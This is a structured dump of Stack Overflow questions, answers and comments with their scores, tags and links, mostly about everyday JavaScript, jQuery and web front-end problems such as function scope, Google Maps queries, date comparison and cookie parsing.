has body: I've got some Node.js going on with some functions in the document ready of jQuery. I have two files both of which have a document ready. However, one file calls to the other, and it doesn't recognize the function. ReferenceError: SocketGameOut is not defined =========== File 1 ============= $(document).ready( function () { var socket = io.connect('http://local.baseball.com:3333'); socket.on('news', function (data) { SocketBroadcastIn(data); }); socket.on('message', function (data) { SocketGameIn(data); }); function SocketGameOut(outstring) { socket.emit('clientData', outstring ); } }); ============ File 2 ============== $(document).ready( function () { $("#login").click( function () { var loginData = { command: 'login', user: $("#user").val(), pass: $("#password").val() } var data = JSON.stringify(loginData); SocketGameOut(data); &lt;--This function call returns ReferenceError: SocketGameOut is not defined }); });
score: 0
tagged with: node.js
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/39963771

http://stackoverflow.com/comment/40088329
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25654469
has text: Are you allowed to use JQuery?

http://stackoverflow.com/q/25656667
upvote count: 10
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/50824824
type: Question
has answer: http://stackoverflow.com/a/25656873
tagged with: mongodb
accepted answer: http://stackoverflow.com/a/25656873
has title: mongodb debugging - ReferenceError: console is not defined
has body: I got js file to run within mongodb where I got console.log expression for debugging: use test; db.city.find().snapshot().forEach(function(city){ var Pos = city.Pos; if (Pos) { longLat = Pos.split(" "); console.log("longLat"); // for debugging ---------------------------- console.log(longLat); lon = longLat[0]; lat = longLat[1]; if (lon &amp;&amp; lat) { lon = parseFloat(lon); lat = parseFloat(lat); longLat = [lon, lat]; city.longLat = longLat; } } db.orgs.save(city); }) When I run it... mongo &lt; /path/to/this/js/file.js ... I got error in the output: ReferenceError: console is not defined Is there any way to log intermediate results for debugging purposes?
score: 10
tagged with: javascript
answer count: 2
possible better answer: http://stackoverflow.com/a/50824824
downvote count: 0
tagged with: mongodb-shell
favorite count: 0

http://stackoverflow.com/q/25594427
has answer: http://stackoverflow.com/a/25594482
type: Question
has answer: http://stackoverflow.com/a/25594438
upvote count: 5
tagged with: javascript
has answer: http://stackoverflow.com/a/25594476
has body: I don't know the meaning of the sentence 'function(event)' Event.add(apple,'click',function(event) { Event.stopPropagation(event); }); Isn't the argument 'event' is the unique keyword of javascript? Is keyword can be an argument of some function? I understand the meaning of below code : function(test) { alert(test); } But I don't understand this one : function(event)... Can any one give an explanation about that to me?
has comment: http://stackoverflow.com/comment/39978426
has comment: http://stackoverflow.com/comment/39978444
downvote count: 0
tagged with: events
favorite count: 0
answer count: 5
type: UnansweredQuestion
score: 5
has answer: http://stackoverflow.com/a/25594513
has answer: http://stackoverflow.com/a/59068200
has title: What is the meaning of 'function(event)' in js

http://stackoverflow.com/q/25695843
tagged with: javascript
has comment: http://stackoverflow.com/comment/40183140
score: 0
tagged with: viewport
tagged with: web
has comment: http://stackoverflow.com/comment/40181941
type: UnansweredQuestion
tagged with: http://stackoverflow.com/tag/html
has title: Javascript touch events not working using phonegap app
tagged with: cordova
answer count: 0
has comment: http://stackoverflow.com/comment/40179949
type: Question
has body: I have a problem with touch events in a phonegap application.. I have a parent div with 100% of device width/height and another element inside it with over 1000px width/height. I am using javascript to drag the element around the container.. everything works fine on desktops but when it comes to mobile doesnt seem to work at all. This is the example markup &lt;div id="borderBox" style="position:relative;border:1px solid black;width:520px;height:250px;overflow:hidden;"&gt; &lt;img id="draggableElement" src="http://tech.pro/_sotc/sites/default/files/202/images/duck.jpg" style="width:1024px;height:1024px;top:-333px;left:-500px;position:absolute;cursor:move;"/&gt; Here is the original code before I've changed the mouse events to touch events This is the code I used I wasted like 5 hours trying to find a fix, but unfortunately I found nothing that helped me with this.. Any help will be appreciated

http://stackoverflow.com/a/25573066
score: 0
type: Answer
has comment: http://stackoverflow.com/comment/39939594
upvote count: 1
downvote count: 1
answers question: http://stackoverflow.com/q/25572882
has body: Here you go: JS: $('form').on('submit', function (e) { e.preventDefault(); if (!$('#email').val()) $('#email').parent().append('Please enter your email address.'); if(!$('#password').val()) $('#password').parent().append('Please enter your password.'); }); CSS: @charset "utf-8"; /* CSS Document */ /* ---------- FONTAWESOME ---------- */ /* ---------- http://fortawesome.github.com/Font-Awesome/ ---------- */ /* ---------- http://weloveiconfonts.com/ ---------- */ @import url(http://weloveiconfonts.com/api/?family=fontawesome); /* ---------- ERIC MEYER'S RESET CSS ---------- */ /* ---------- http://meyerweb.com/eric/tools/css/reset/ ---------- */ @import url(http://meyerweb.com/eric/tools/css/reset/reset.css); /* ---------- FONTAWESOME ---------- */ [class*="fontawesome-"]:before { font-family: 'FontAwesome', sans-serif; } /* ---------- GENERAL ---------- */ body { background-color: #C0C0C0; color: #000; font-family: "Varela Round", Arial, Helvetica, sans-serif; font-size: 16px; line-height: 1.5em; } input { border: none; font-family: inherit; font-size: inherit; font-weight: inherit; line-height: inherit; -webkit-appearance: none; } /* ---------- LOGIN ---------- */ #login { margin: 50px auto; width: 400px; } #login h2 { background-color: #f95252; -webkit-border-radius: 20px 20px 0 0; -moz-border-radius: 20px 20px 0 0; border-radius: 20px 20px 0 0; color: #fff; font-size: 28px; padding: 20px 26px; } #login h2 span[class*="fontawesome-"] { margin-right: 14px; } #login fieldset { background-color: #fff; -webkit-border-radius: 0 0 20px 20px; -moz-border-radius: 0 0 20px 20px; border-radius: 0 0 20px 20px; padding: 20px 26px; } #login fieldset div { color: #777; margin-bottom: 14px; } #login fieldset p:last-child { margin-bottom: 0; } #login fieldset input { -webkit-border-radius: 3px; -moz-border-radius: 3px; border-radius: 3px; } #login fieldset .error { display: block; color: #FF1000; font-size: 12px; } } #login fieldset input[type="email"], #login fieldset input[type…

http://stackoverflow.com/q/25574897
upvote count: 1
has body: I have seen this question and some others that state that the usage limit is 25,000 client side requests per day and that there is a query limit which I haven't found a figure for. Is there also a limit for the requests that a single user could make? Could a single IP rather than many site users make 25000 requests in a 24 hour period?
linked to: http://stackoverflow.com/q/23956479
downvote count: 1
type: Question
has comment: http://stackoverflow.com/comment/39943078
has title: Does the google maps API v3 have a query limit for individual IPs as well as a total site daily limit?
tagged with: google-maps
has comment: http://stackoverflow.com/comment/39945362
tagged with: javascript
has answer: http://stackoverflow.com/a/25583160
tagged with: google-maps-api-3
has comment: http://stackoverflow.com/comment/39945005
score: 0
answer count: 1
favorite count: 0
type: UnansweredQuestion

http://stackoverflow.com/q/25612241
upvote count: 0
has answer: http://stackoverflow.com/a/25612415
type: UnansweredQuestion
has title: how to highlight a location on Google Maps Places API
tagged with: http://stackoverflow.com/tag/json
downvote count: 2
type: Question
score: -2
tagged with: javascript
tagged with: google-maps-api-3
tagged with: google-maps
answer count: 1
favorite count: 0
has comment: http://stackoverflow.com/comment/40010920
has body: I am trying to build a simple webpage which shows all subway stations around a particular latitude and longitude. Point A is fixed. Point B is variable (user input). My two goals are: highlight subway stations in the map highlight nearest subway station to point B to reach point A. Looking up the documentation, I know that a way to do this would be to call: https://maps.googleapis.com/maps/api/place/search/json?types=subway_station&amp;rankby=distance&amp;location=40.7207800,-74.0011190&amp;key=API_KEY My questions are: This returns json data, how do I display this on a map? (specically on google.maps.MapTypeId.ROADMAP type map) Is there another way to do this? How can I display (or mark) the nearest subway station to point B?

http://stackoverflow.com/a/25652625
has body: Please find the difference in the handle and the manual geocode functions $('#getLongLat').on('click',function(){ localStorage.latToPost = ''; localStorage.lngToPost = ''; if(localStorage.userLatAutoDetected != '0' || localStorage.userLngAutoDetected != '0'){ localStorage.latToPost = localStorage.userLatAutoDetected; localStorage.lngToPost = localStorage.userLngAutoDetected; alert('geodata is: {'+localStorage.latToPost+'}, {'+localStorage.lngToPost+'}'); }else{ manuallyGeoCode(function(){ alert('geodata is: {'+localStorage.latToPost+'},{'+localStorage.lngToPost+'}'); }); // this doesn't finish in time so it jumps to the alert below and shows empty values. } }); function manuallyGeoCode(cb){ var address = $('#userLocation').val(); geocoder = new google.maps.Geocoder(); geocoder.geocode({'address': address}, function(results, status) { if (status == google.maps.GeocoderStatus.OK) { localStorage.latToPost = results[0].geometry.location.lat(); localStorage.lngToPost = results[0].geometry.location.lng(); cb(); } else { alert('Your location could not be geocoded.'); } }); }
has comment: http://stackoverflow.com/comment/40084827
has comment: http://stackoverflow.com/comment/40084741
type: Answer
has comment: http://stackoverflow.com/comment/40086148
score: 0
answers question: http://stackoverflow.com/q/25652347

http://stackoverflow.com/a/25618839
type: AcceptedAnswer
has body: You can create helper function like this. Expect object with structure like this : var someObj = { some: { other: { third: 'bingo', qwe: 'test' } } }; Would be great to have something like getPropByPath(someObj, 'some.other.qwe'); So the implementation of getPropByPath may looks like following: function getPropByPath(obj, path){ var parts = path.split('.'), root = obj; for(var i=0; i&lt;parts.length; i++) { if(root[parts[i]] !== 'undefined') { root = root[parts[i]] } else { return false; } } return root; }
has comment: http://stackoverflow.com/comment/40026776
type: Answer
has comment: http://stackoverflow.com/comment/40026975
score: 3
upvote count: 3
has comment: http://stackoverflow.com/comment/40025763
has comment: http://stackoverflow.com/comment/40026064
downvote count: 0
answers question: http://stackoverflow.com/q/25618560
accepted answer of: http://stackoverflow.com/q/25618560

http://stackoverflow.com/comment/39996505
comment on: http://stackoverflow.com/a/25604096
has text: Don't forget to include `-webkit`, `-moz`, `-ms`, `-o` prefixes. [Updated Demo](http://jsbin.com/yegeh/25/edit).
score: 1
type: AnswerComment
type: Comment

http://stackoverflow.com/q/25583553
type: Question
has title: Two Date objects are the same but comparing them still returns false
accepted answer: http://stackoverflow.com/a/25583565
tagged with: javascript
has body: Can anybody explain why the following code outputs false? alert(new Date(2014, 8, 8) == new Date(2014, 8, 8)); Tested with Chrome and Firefox. Fiddle: http://jsfiddle.net/DHilgarth/dn6p8kgm/
upvote count: 2
answer count: 1
has answer: http://stackoverflow.com/a/25583565
favorite count: 0
score: 2
type: AnsweredQuestion
downvote count: 0

http://stackoverflow.com/q/25586228
tagged with: javascript
has comment: http://stackoverflow.com/comment/39963502
score: 0
has body: I have a obj with more proprieties. How can i set one of the proprieties to local Storage. Just the propriety not the hole Obj (in java). Here is something i tried: function game(){ this.team_one = "team_one"; this.team_two = "team_two"; this.score_home function(val){ return(typeof(val) === 'undefined' ? : localStorage.myVal = val); }; this.score_away = 0; } for(var i=0;i&lt;30;i++){ game_on.push(new game()); } game_on[0].score_home(7); alert(game_on[0].score_home);
answer count: 1
has title: Set object propriety to localStorage
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/25586335
type: Question

getusermedia
tags question: http://stackoverflow.com/q/25683926
tag name: getusermedia
type: Tag
tags question: http://stackoverflow.com/q/25661351

http://stackoverflow.com/comment/40148726
has text: I think you want to call the query multiple times, but call `mainQuery.skip(1000 * <number of previous calls>)` before executing the query. Keep doing that until the query returns no items and you'll have retrieved everything.
score: 1
comment on: http://stackoverflow.com/q/25688005
type: Comment
type: QuestionComment

http://stackoverflow.com/a/33333197
has comment: http://stackoverflow.com/comment/56668762
has comment: http://stackoverflow.com/comment/56680346
answers question: http://stackoverflow.com/q/25678560
type: Answer
score: 11
has body: Using onload is not a clean solution because it litters the global scope. If you have something more complex, it'll start to fail. ng-include is not that reusable because it has access to the global scope. It's a little weird. The above is not true. ng-if with onload doesn't litter the global scope We also don't want to write a specific directive for every situation. Making a generic directive instead of ng-include is a cleaner solution. The ideal usage looks like: &lt;div ng-include-template="'item.html'" ng-include-variables="{ item: 'whatever' }"&gt;&lt;/div&gt; &lt;div ng-include-template="'item.html'" ng-include-variables="{ item: variableWorksToo }"&gt;&lt;/div&gt; The directive is: .directive( 'ngIncludeTemplate' () -&gt; { templateUrl: (elem, attrs) -&gt; attrs.ngIncludeTemplate restrict: 'A' scope: { 'ngIncludeVariables': '&amp;' } link: (scope, elem, attrs) -&gt; vars = scope.ngIncludeVariables() for key, value of vars scope[key] = value } ) You can see that the directive doesn't use the global scope. Instead, it reads the object from ng-include-variables and add those members to its own local scope. I hope this is what you would like; it's clean and generic.
downvote count: 0
has comment: http://stackoverflow.com/comment/79845912
upvote count: 11

http://stackoverflow.com/a/25592540
has body: I've made a little snippet for you, you can use it as you want, just try to understand the script. I'm 100% it can be done in some easier way, but this is the first that came to my mind $(document).ready(function() { // store a variable with body's width var initial = $("body").width(); // render the body's width value on the selector $("#initialwidth, #actualwidth").text(initial); //now let's resize $(window).resize(function() { // Before doing some maths, let's get the width from #actualwidth span instead of directly from the variable // the span has the value "static" because it was defined outside the ".resize()" event var staticWidth = $("#initialwidth").text(); var newWidth = $("body").width(); //new width - initial width = difference var finalWidth = newWidth - staticWidth + "px"; $("#actualwidth").text(newWidth); $("#diff").text(finalWidth); }); }); Here's a jsfiddle: http://jsfiddle.net/2dcsonjg/
accepted answer of: http://stackoverflow.com/q/25591777
type: Answer
upvote count: 2
score: 2
answers question: http://stackoverflow.com/q/25591777
type: AcceptedAnswer
downvote count: 0

http://stackoverflow.com/comment/39961736
comment on: http://stackoverflow.com/q/25584875
score: 0
has text: Yes you can! You receive the data from the web service in the controller (or the model). There you can apply whatever logic you want to make easier for you to use. It's better to put as few logic as possible in the view.
type: Comment
type: QuestionComment

http://stackoverflow.com/q/25695948
type: UnansweredQuestion
has body: I am trying to get the width property from one element and assign to another. Here's my code (that does not work): window.onload=function() { var morphWidth = document.getElementById('morph').width(); var scrollbar = document.getElementById('scrollbar'); scrollbar.style.width = morphWidth + "px"; }
tagged with: properties
has answer: http://stackoverflow.com/a/25696084
tagged with: set
downvote count: 1
type: Question
has answer: http://stackoverflow.com/a/25696086
has answer: http://stackoverflow.com/a/25695985
tagged with: width
tagged with: javascript
score: -1
has title: get property (width) from one element and assign to another one
answer count: 3
upvote count: 0
tagged with: assign
favorite count: 0

http://stackoverflow.com/q/25681595
has answer: http://stackoverflow.com/a/25683346
type: Question
has comment: http://stackoverflow.com/comment/40137989
tagged with: http://stackoverflow.com/tag/html
answer count: 6
linked to: http://stackoverflow.com/q/17428587
has answer: http://stackoverflow.com/a/25683032
upvote count: 1
possible better answer: http://stackoverflow.com/a/25682242
has answer: http://stackoverflow.com/a/25682472
has body: I have a complex HTML table with horizontal and vertical headings looking like this. The HTML code is simple: (empty) Heading 1 Heading 2 Heading A content for 1 and A content for 2 and A Heading B content for 1 and B content for 2 and B Heading C content for 1 and C content for 2 and C Now, I want to give the users of my website the possibility to swap the content of the table. I.e.: change the horizontal and vertical order, so that afterwards the vertical headings are horizontal, the horizontal headings are vertical and the table cells accordingly. Sounds complicated, but you will get it by looking at the picture: The HTML would be now: (empty) Heading A Heading B Heading C Heading 1 content for 1 and A content for 1 and B content for 1 and C Heading 2 content for 2 and A content for 2 and B content for 2 and C Technically speaking, evey table cell (th and td) has to swap its indices: The column index should become the row index and the column index should become the rown index. But how do I do that using JavaScript and or JQuery? I already found out how to get the row and column index: //column $(this).parent().children().index(this); //row $(this).parent().parent().children().index(this.parentNode); But there seems no JQuery function for "set table cell position", there is just .inserAfter and honestly, I don't know how to cope with that.
has answer: http://stackoverflow.com/a/25682242
has title: JavaScript/JQuery swap horizontal and vertical order of HTML table
has answer: http://stackoverflow.com/a/25681798
has answer: http://stackoverflow.com/a/25682383
type: AnsweredQuestion
downvote count: 0
accepted answer: http://stackoverflow.com/a/25682472
tagged with: javascript
tagged with: jquery
score: 1
favorite count: 0

http://stackoverflow.com/a/29218249
score: 0
type: Answer
has body: The Google Developer Console will only give you the CLIENT_ID and CLIENT_SECRET. With these keys you will be able to generate an ACCESS_TOKEN and you will have to change your query string to ?ids=ga%3A00263622&amp;metrics=ga%3AuniquePageviews&amp;start-date=2014-08-19&amp;end-date=2024-09-02&amp;max-results=50&amp;access_key=xxxxACCESS_KEYxxxx&amp;_src=explorer
answers question: http://stackoverflow.com/q/25629398

http://stackoverflow.com/q/25571034
has comment: http://stackoverflow.com/comment/39935359
type: AnsweredQuestion
linked to: http://stackoverflow.com/q/3219014
type: Question
has body: I've been banging my head against a wall trying to work out what the best way to get a character countdown from a textarea. I've create this jsfiddle but if I paste in 4000 characters from lipsum.com then it says it's 12 characters over. I know this is because of the line breaks, but I'm unsure on how to get it to work correctly, and consistently across browsers. $('textarea').on('keyup', function() { characterCount(this); }); $('textarea:not(:empty)').each(function() { characterCount(this); }); function characterCount(that) { var $this = $(that), $maxLength = $this.attr('data-val-length-max'), $lengthOfText = $this.val().length, $charCountEl = $this.closest('.form-group').find('.maxchar-count'); if($maxLength) { $($charCountEl).text($maxLength - $lengthOfText); } if($lengthOfText > $maxLength) { $charCountEl.addClass('has-error'); } else { $charCountEl.removeClass('has-error'); } } And the markup 4000 I've seen some similar questions but yet to find an answer that works for me. Thanks Henry
answer count: 1
downvote count: 0
tagged with: javascript
tagged with: jquery
has answer: http://stackoverflow.com/a/25571169
favorite count: 0
has title: Getting textarea to count line breaks properly
tagged with: http://stackoverflow.com/tag/html
score: 2
upvote count: 2
accepted answer: http://stackoverflow.com/a/25571169

http://stackoverflow.com/q/25637558
type: Question
has comment: http://stackoverflow.com/comment/40057449
has comment: http://stackoverflow.com/comment/40057118
has answer: http://stackoverflow.com/a/25661277
score: 0
answer count: 1
tagged with: javascript
has body: I am working on a php/mysql application, I am trying to collect javascript errors to the database using window.onerror, where inside that function I make an ajax request to a php script that will log the errors into the database. However, when I tested it there are supposed to be 13 errors logged, but only one get inserted into the database. All the 13 ajax requests return 200 OK, is this happening because ajax is just simply too fast for the mysql query to process anything. I tried using set timeout on the send request but it doesnt seem to work. Here is my code: window.onerror = function(msg, url, line) { function createXHR() { try { return new XMLHttpRequest(); } catch(e) {} try { return new ActiveXObject("Msxml2.XMLHTTP.6.0"); } catch (e) {} try { return new ActiveXObject("Msxml2.XMLHTTP.3.0"); } catch (e) {} try { return new ActiveXObject("Msxml2.XMLHTTP"); } catch (e) {} try { return new ActiveXObject("Microsoft.XMLHTTP"); } catch (e) {} return null; } function sendRequest(url, payload) { var xhr = createXHR(); if (xhr) { xhr.open("POST",url,true); xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); xhr.onreadystatechange = function(){ if (xhr.readyState == 4 &amp;&amp; xhr.status == 200){ console.log(xhr.responseText); } }; xhr.send(payload); } } function encodeValue(val) { var encodedVal; if (!encodeURIComponent) { encodedVal = escape(val); /* fix the omissions */ encodedVal = encodedVal.replace(/@/g, '%40'); encodedVal = encodedVal.replace(/\//g, '%2F'); encodedVal = encodedVal.replace(/\+/g, '%2B'); } else { encodedVal = encodeURIComponent(val); /* fix the omissions */ encodedVal = encodedVal.replace(/~/g, '%7E'); encodedVal = encodedVal.replace(/!/g, '%21'); encodedVal = encodedVal.replace(/\(/g, '%28'); encodedVal = encodedVal.replace(/\)/g, '%29'); encodedVal = encodedVal.replace(/'/g, '%27'); } /* clean up the spaces and return */ return encodedVal.replace(/\%20/g,'+'); } if (window.XMLHttpRequest) { var master = "llesmana@ucsd.e…
tagged with: ajax
type: UnansweredQuestion
has title: AJAX and MYSQL, AJAX too fast for mysql to query?
tagged with: php
tagged with: mysql

http://stackoverflow.com/a/25660458
accepted answer of: http://stackoverflow.com/q/25660420
score: 4
upvote count: 4
type: AcceptedAnswer
downvote count: 0
has body: You need quotes: &lt;input type="button" value="button" onClick="window.open('&lt;?php echo $url;?&gt;')" /&gt;
type: Answer
answers question: http://stackoverflow.com/q/25660420

http://stackoverflow.com/comment/40325393
has text: I also write another period of code,but it still not working, dont know why:https://www.dropbox.com/s/w8k23f5ja8fsffo/sample.js?dl=0
type: Comment
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/25713089

http://stackoverflow.com/comment/39986899
type: Comment
has text: @DrGeneral yes... copied the wrong version from my console :(
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/25598991

http://stackoverflow.com/comment/39939964
type: AnswerComment
has text: @nothingisnecessary I read it as he want the same message regardless if both are empty or if one has input. Generally I do separate error messages.
score: 0
comment on: http://stackoverflow.com/a/25573040
type: Comment

http://stackoverflow.com/comment/40136344
has text: @Light1c3: In Chrome hit the F12 key (I think most other browsers it's also F12). there you will see runtime errors and also have the ability to see your `console.log()` output. There is different tabs on the debugger console, the one you are most interested in for now is the `Console` I would say.
comment on: http://stackoverflow.com/q/25681166
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/40180416
has text: @chipChocolate.py It works because the browser has the image in the cache. But if you open the fiddle in a private window, it won't work.
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25705121
score: 1

http://stackoverflow.com/comment/40175816
type: Comment
has text: sorry I missed the `m` multiline
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/25702875

http://stackoverflow.com/a/25684377
has body: You just put the function in setTimeOut to the next tick with nothing returned. Try add return before setTimeOut.
score: -1
downvote count: 1
type: Answer
upvote count: 0
has comment: http://stackoverflow.com/comment/89117605
answers question: http://stackoverflow.com/q/25684307

http://stackoverflow.com/a/25700399
type: Answer
score: 1
has comment: http://stackoverflow.com/comment/40171502
upvote count: 1
answers question: http://stackoverflow.com/q/25700266
has body: a) I highly suggest to include your script tags in the: b) Try this in your main.js: $(function() { $('.img_map').maphilight(); }); c) and this in your html:
has comment: http://stackoverflow.com/comment/40171632
downvote count: 0

http://stackoverflow.com/q/25553643
has title: Javascript hide DIV
tagged with: css
answer count: 4
upvote count: 1
has answer: http://stackoverflow.com/a/25553773
has answer: http://stackoverflow.com/a/25553766
possible better answer: http://stackoverflow.com/a/25553695
has comment: http://stackoverflow.com/comment/39902520
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/25553695
has comment: http://stackoverflow.com/comment/39902582
score: 1
type: Question
accepted answer: http://stackoverflow.com/a/25553766
downvote count: 0
tagged with: javascript
tagged with: jquery
linked to: http://stackoverflow.com/q/1661197
favorite count: 0
has answer: http://stackoverflow.com/a/25554010
has body: &lt;script type="text/javascript"&gt; function hide4d() { document.getElementById('4d_div').style.display = 'none'; } &lt;/script&gt; Is there something wrong with my hide div code, I trying hide this &lt;div id="4d_div"&gt; some content some inner div , some inner div close &lt;/div&gt; and I did this to my tag &lt;body onLoad="hide4d();"&gt; and nothing happen when my page load.. i just wanna hide the div by default using javascript, and unhide it with a button later. jsfiddle Edited: I had this on my &lt;script type="text/javascript"&gt; document.getElementById('4d_div').style.display = 'none'; &lt;/script&gt; &lt;/head&gt; But the 4d_div is still not hidden. It seems to work fine if i change to nowrap in fiddle The weird thing is I inspect element with chrome, the display: none; was added in, but I din't add the close tag there my code is something like &lt;div id="4d_div"&gt; &lt;tr&gt;&lt;td&gt;&amp;nbsp;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt; &lt;div id="big_rate_div" class="form-group"&gt; &lt;tr&gt;&lt;td width="25%"&gt; &lt;label for="big_rate"&gt;Big Rate&lt;/label&gt; &lt;/td&gt;&lt;td&gt; &lt;b&gt;1.60&lt;/b&gt; &lt;/td&gt;&lt;/tr&gt; &lt;/div&gt; &lt;tr&gt;&lt;td&gt;&amp;nbsp;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt; &lt;div id="small_rate_div" class="form-group"&gt; &lt;tr&gt;&lt;td width="25%"&gt; &lt;label for="big_rate"&gt;Small Rate&lt;/label&gt; &lt;/td&gt;&lt;td&gt; &lt;b&gt;0.70&lt;/b&gt; &lt;/td&gt;&lt;/tr&gt; &lt;/div&gt; &lt;tr&gt;&lt;td&gt;&amp;nbsp;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt; &lt;div id="rebate" class="form-group"&gt; &lt;tr&gt;&lt;td width="25%"&gt; &lt;label for="rebate"&gt;Rebate&lt;/label&gt; &lt;/td&gt;&lt;td&gt; &lt;table&gt; &lt;tr&gt;&lt;td width="30%"&gt; &lt;input type="text" class="form-control" id="ticket_rebate" placeholder=""&gt; &lt;/td&gt;&lt;td&gt;%&lt;/td&gt; &lt;/tr&gt;&lt;/table&gt; &lt;/td&gt; &lt;/tr&gt; &lt;/div&gt; &lt;tr&gt;&lt;td&gt;&amp;nbsp;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt; &lt;div id="commission" class="form-group"&gt; &lt…
tagged with: http://stackoverflow.com/tag/html

http://stackoverflow.com/comment/60378151
has text: This only sort of looks right. If there are any straight lines in the original image you will see that each triangle is warped differently (2 different affine transforms rather than a perspective transform). See: http://imgur.com/OpLlGlC
comment on: http://stackoverflow.com/a/25784433
type: AnswerComment
score: 0
type: Comment

http://stackoverflow.com/comment/39913049
score: 0
comment on: http://stackoverflow.com/q/25558618
has text: @muistooshort I am purposefully wanting it to fail in this case, I want source.save to return false. It works fine if I pass in proper parameters.
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/40162571
comment on: http://stackoverflow.com/q/25695375
type: QuestionComment
type: Comment
score: 0
has text: Works for me.. http://plnkr.co/edit/o2AuIl?p=preview You have some other issue check your console for any errors. Well did the angular version that you are use support it? Try replicate your issue in a plunker

http://stackoverflow.com/comment/40032907
comment on: http://stackoverflow.com/a/25624239
score: 0
type: AnswerComment
type: Comment

http://stackoverflow.com/comment/39951024
comment on: http://stackoverflow.com/q/25579285
has text: What CSS are you talking about?
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/q/25649499
tagged with: browser-cache
score: 1
type: Question
has comment: http://stackoverflow.com/comment/40094493
tagged with: mobile-website
has comment: http://stackoverflow.com/comment/40078928
answer count: 1
downvote count: 0
tagged with: javascript
tagged with: web
has comment: http://stackoverflow.com/comment/40079155
has body: We are developing a third party java script file that is implemented as a widget on many sites (That we do not control the code of). This script may be updated from time to time (As we modify it/ add abilities/ fix bug ...) As the browser saves most js files in cache, we need to have some sort of solution to tell the browser to reload the Script. of course a naive solution is to make re-load always, but this solution is not very efficient, and code changes should not accrue often. Any idea how this can be done? The solution of changing our script src/url with "?version=1.1.1" cannot be applied here as this widget is third party and we do not have any control on clients website codes. Thanks.
has answer: http://stackoverflow.com/a/25649592
tagged with: http://stackoverflow.com/tag/html
favorite count: 0
type: UnansweredQuestion
upvote count: 1
has title: control reload of 3rd party javascript

http://stackoverflow.com/q/25592201
tagged with: .net
tagged with: javascript
has comment: http://stackoverflow.com/comment/39974507
score: 0
answer count: 1
linked to: http://stackoverflow.com/q/19626425
favorite count: 0
tagged with: visual-studio-2013
has body: I have installed Visual Studio 2013 Ultimate, it has Update 1 installed. The problem I am dealing with is I get many exceptions when I run new Web Application. The application starts but there is big mess in the output. It is new application so it is probably not my fault. Błąd czasu wykonywania kodu JavaScript: means Runtime error in JavaScript. After update to Visual Studio 2013 Update 3 these are left. A first chance exception of type 'System.IO.FileNotFoundException' occurred in mscorlib.dll A first chance exception of type 'System.Web.HttpException' occurred in System.Web.dll A first chance exception of type 'Microsoft.CSharp.RuntimeBinder.RuntimeBinderException' occurred in Microsoft.CSharp.dll A first chance exception of type 'Microsoft.CSharp.RuntimeBinder.RuntimeBinderException' occurred in Microsoft.CSharp.dll A first chance exception of type 'Microsoft.CSharp.RuntimeBinder.RuntimeBinderException' occurred in Microsoft.CSharp.dll A first chance exception of type 'Microsoft.CSharp.RuntimeBinder.RuntimeBinderException' occurred in Microsoft.CSharp.dll Exception was thrown at line 1, column 27877 in http://localhost:4530/bundles/jquery?v=FVs3ACwOLIVInrAl5sdzR2jrCDmVOWFbZMY6g6Q0ulE1 0x800a139e - Błąd czasu wykonywania kodu JavaScript: SyntaxError Exception was thrown at line 1, column 28093 in http://localhost:4530/bundles/jquery?v=FVs3ACwOLIVInrAl5sdzR2jrCDmVOWFbZMY6g6Q0ulE1 0x800a139e - Błąd czasu wykonywania kodu JavaScript: SyntaxError Exception was thrown at line 37, column 60610 in http://localhost:4620/f17552bcff2e4111a7debf6f82a3f7c5/browserLink 0x800a139e - Błąd czasu wykonywania kodu JavaScript: SyntaxError
has title: .NET and Java Script Exceptions in fresh new ASP .NET MVC 5 Web application in Visual Studio 2013
upvote count: 1
has answer: http://stackoverflow.com/a/25601459
accepted answer: http://stackoverflow.com/a/25601459
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/39974406
linked to: http://stackoverflow.com/q/2954531
downvote count: 1
type: Question
tagged with: asp.net-mvc

http://stackoverflow.com/a/25692211
downvote count: 0
answers question: http://stackoverflow.com/q/25691882
type: Answer
score: 1
upvote count: 1
has body: You can easily turn the string document.cookie returns into an object, which will be readable enough in any console. var cookies = decodeURIComponent(document.cookie).split(";"), res = {}; cookies.forEach(function(cookie){ var parts = cookie.split("="); res[parts[0]] = parts[1]; }); console.log(res);

http://stackoverflow.com/q/25706700
has body: I have recently been working on a color picker application which allows an user to pick a hue, a saturation and the lightness of a color. After the user has decided on a color I give the user different color schemes that go with the chosen color. Some of the color schemes given are complimentary, split complimentary, triad, analogous and so on. For example: if the user chooses red as the color, hsl(0, 100%, 50%), to determine the complimentary color then 180 degrees are added to the hue in a resulting (180, 100%, 50%) which would be cyan. For an analogous scheme I add 30 and subtract 30, and so on. It all works great until I realized that this are web colors! I will still keep this functionality but now I want to create color schemes that resemble pigmentation. For example in real life, the complimentary color of red would be green instead of cyan as in the colors of light. Can someone point me to resources on how to convert hsl to pigmentation? How can I adjust the hues so that green would be the opposite of red.
has title: HSL Colors to Pigmentation
tagged with: hsl
type: UnansweredQuestion
linked to: http://stackoverflow.com/q/4945457
linked to: http://stackoverflow.com/q/2353211
tagged with: color-picker
tagged with: color-scheme
score: 3
upvote count: 3
has comment: http://stackoverflow.com/comment/40183150
has answer: http://stackoverflow.com/a/25706855
type: Question
tagged with: javascript
tagged with: colors
answer count: 1
downvote count: 0
favorite count: 0

http://stackoverflow.com/comment/40114368
type: QuestionComment
has text: *"When second function fires aswell it will increase the orignal number from zero to 60."* No it doesn't. `step` is set to `60` *immediately* in the second `if` statement. And that `if` statement is executed *before* `animateHalfLeft` is called a second time, since you are using `setTimeout`.
comment on: http://stackoverflow.com/q/25669095
score: 1
type: Comment

http://stackoverflow.com/comment/43356927
type: QuestionComment
comment on: http://stackoverflow.com/q/25608517
